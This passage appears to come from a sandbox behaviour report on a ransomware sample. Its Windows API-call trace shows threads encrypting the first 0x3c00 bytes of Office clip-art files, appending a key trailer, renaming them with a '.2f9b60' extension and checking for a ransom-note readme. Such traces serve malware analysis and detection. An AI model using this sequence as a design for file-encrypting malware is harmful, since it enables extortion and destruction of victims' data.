_Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="06") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="ce") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="e4") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="04") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="b5") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="5b") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="83") returned 2 [0131.939] RtlInitAnsiString (in: DestinationString=0x24dffae8, SourceString="aa908fd6033ff9417bca85deed5e8a97c606cee404b55b83" | out: DestinationString="aa908fd6033ff9417bca85deed5e8a97c606cee404b55b83") [0131.939] RtlAnsiStringToUnicodeString (in: DestinationString=0x24dffab8, SourceString="aa908fd6033ff9417bca85deed5e8a97c606cee404b55b83", AllocateDestinationString=1 | out: DestinationString="aa908fd6033ff9417bca85deed5e8a97c606cee404b55b83") returned 0x0 [0131.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.940] wcscat (in: _Dest=0x20508450, _Source="aa908fd6033f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f" [0131.940] wcscat (in: _Dest=0x20508450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f.2f9b60" [0131.940] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f.2f9b60", NtPathName=0x24dffa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\aa908fd6033f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8621a0 [0131.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8621a0) returned 1 [0131.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0131.986] NtQueryInformationFile (in: FileHandle=0x1ad0, IoStatusBlock=0x24dffaf8, FileInformation=0x24dffb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24dffaf8, FileInformation=0x24dffb08) returned 0x0 [0131.986] NtSetInformationFile (FileHandle=0x1ad0, IoStatusBlock=0x24dffaf8, FileInformation=0x24dffb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508450) returned 1 [0131.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.988] FlushFileBuffers (hFile=0x1ad0) returned 1 [0132.019] CloseHandle (hObject=0x1ad0) returned 1 [0132.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a920 [0132.021] wcscpy (in: _Dest=0x2050a920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0132.021] wcscat (in: _Dest=0x2050a920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0132.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0132.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a920) returned 1 [0132.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b070) returned 1 Thread: id = 1743 os_tid = 0x1744 [0131.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf")) returned 0x20 [0131.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF", dwFileAttributes=0x20) returned 1 [0131.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.834] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2233f9c0 | out: lpFileSize=0x2233f9c0*=30442) returned 1 [0131.834] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x76e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.834] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2233f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2233f988, lpOverlapped=0x0 | out: lpBuffer=0x2233f940*, lpNumberOfBytesRead=0x2233f988*=0x4, lpOverlapped=0x0) returned 1 [0131.900] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0131.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0131.901] NtQuerySystemTime (in: CurrentTime=0x2233f880 | out: CurrentTime=0x2233f880*=132462177371470000) returned 0x0 [0131.901] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0xbfb47c7 [0131.901] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x72cc494d [0131.901] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x57aa93c2 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x275f6f98 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x79268ce [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x31f2f0a3 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x7e2c648e [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x41f99e69 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x4a3a8805 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x12751c63 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x56975dfc [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x311cb4e3 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x31af25ee [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x210c3da1 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x21e79944 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x2f73306a [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x323295f3 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x6b41434 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x21e79944 [0131.902] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x30ae67be [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x537e0413 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x2b5417e5 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x271b004c [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x1201c2c7 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x787174a6 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x2a541d4f [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x1c64674f [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x899e59b [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x61867f08 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x2854f3c4 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x5d1272c0 [0131.903] RtlRandomEx (in: Seed=0x2233f870 | out: Seed=0x2233f870) returned 0x37aecc38 [0131.915] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.915] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2233f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x2233f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.921] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0131.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0131.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.923] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2233f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2233f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202669c0 [0131.932] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.932] WriteFile (in: hFile=0x1ac0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2233f990, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2233f990*=0x10a, lpOverlapped=0x0) returned 1 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0131.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.935] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="2b") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="20") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="53") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="80") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="e6") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="3e") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="59") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="b2") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="95") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="0b") returned 2 [0131.935] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="a4") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="61") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="77") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="78") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="00") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="39") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="a6") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="04") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="55") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="7b") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="7c") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="e0") returned 2 [0131.936] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="bf") returned 2 [0131.936] RtlInitAnsiString (in: DestinationString=0x2233fa08, SourceString="2b205380e63e59b2950ba46177780039a6d004557b7ce0bf" | out: DestinationString="2b205380e63e59b2950ba46177780039a6d004557b7ce0bf") [0131.936] RtlAnsiStringToUnicodeString (in: DestinationString=0x2233f9d8, SourceString="2b205380e63e59b2950ba46177780039a6d004557b7ce0bf", AllocateDestinationString=1 | out: DestinationString="2b205380e63e59b2950ba46177780039a6d004557b7ce0bf") returned 0x0 [0131.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1cd0 [0131.937] wcscat (in: _Dest=0x205084f0, _Source="2b205380e63e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e" [0131.937] wcscat (in: _Dest=0x205084f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e.2f9b60" [0131.937] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e.2f9b60", NtPathName=0x2233f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b205380e63e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8625c0 [0131.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0131.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0131.964] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2233fa18, FileInformation=0x2233fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2233fa18, FileInformation=0x2233fa28) returned 0x0 [0131.965] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2233fa18, FileInformation=0x2233fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205084f0) returned 1 [0131.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0131.967] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.974] CloseHandle (hObject=0x1ac0) returned 1 [0131.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a4a0 [0131.975] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.975] wcscat (in: _Dest=0x2050a4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 [0131.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a920) returned 1 Thread: id = 1744 os_tid = 0x1748 [0131.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf")) returned 0x20 [0131.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF", dwFileAttributes=0x20) returned 1 [0131.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0131.867] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x2517f980 | out: lpFileSize=0x2517f980*=29000) returned 1 [0131.867] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x7144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.867] ReadFile (in: hFile=0x1acc, lpBuffer=0x2517f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2517f948, lpOverlapped=0x0 | out: lpBuffer=0x2517f900*, lpNumberOfBytesRead=0x2517f948*=0x4, lpOverlapped=0x0) returned 1 [0131.873] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.873] NtQuerySystemTime (in: CurrentTime=0x2517f840 | out: CurrentTime=0x2517f840*=132462177371158000) returned 0x0 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x7ceb1446 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x4466cc75 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x63293883 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x793a7b68 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x515628e5 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x12fb53b1 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x4493b65a [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x7661e022 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x5f1c33c7 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x258adf72 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x3c2d0a3 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x3248a223 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x1be41ce3 [0131.873] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x615f030 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x756941b [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x61ac05b1 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x1cbb50ef [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x5fb18cc8 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x396500d1 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x23ed38c7 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x25f1f4bf [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x37f9a24 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x3e573328 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x1af5501 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x74b3ee36 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x50dfc3b0 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x3dcf6679 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x4019fa66 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x1db738f7 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x90a164f [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0xa6cc996 [0131.874] RtlRandomEx (in: Seed=0x2517f830 | out: Seed=0x2517f830) returned 0x3a262bb4 [0131.888] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.888] ReadFile (in: hFile=0x1acc, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2517f8a0, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x2517f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.889] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0131.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0131.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0131.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.891] WriteFile (in: hFile=0x1acc, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2517f8a0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2517f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0131.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266a50 [0131.920] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.920] WriteFile (in: hFile=0x1acc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2517f950, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2517f950*=0x10a, lpOverlapped=0x0) returned 1 [0131.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.927] RtlFreeHeap 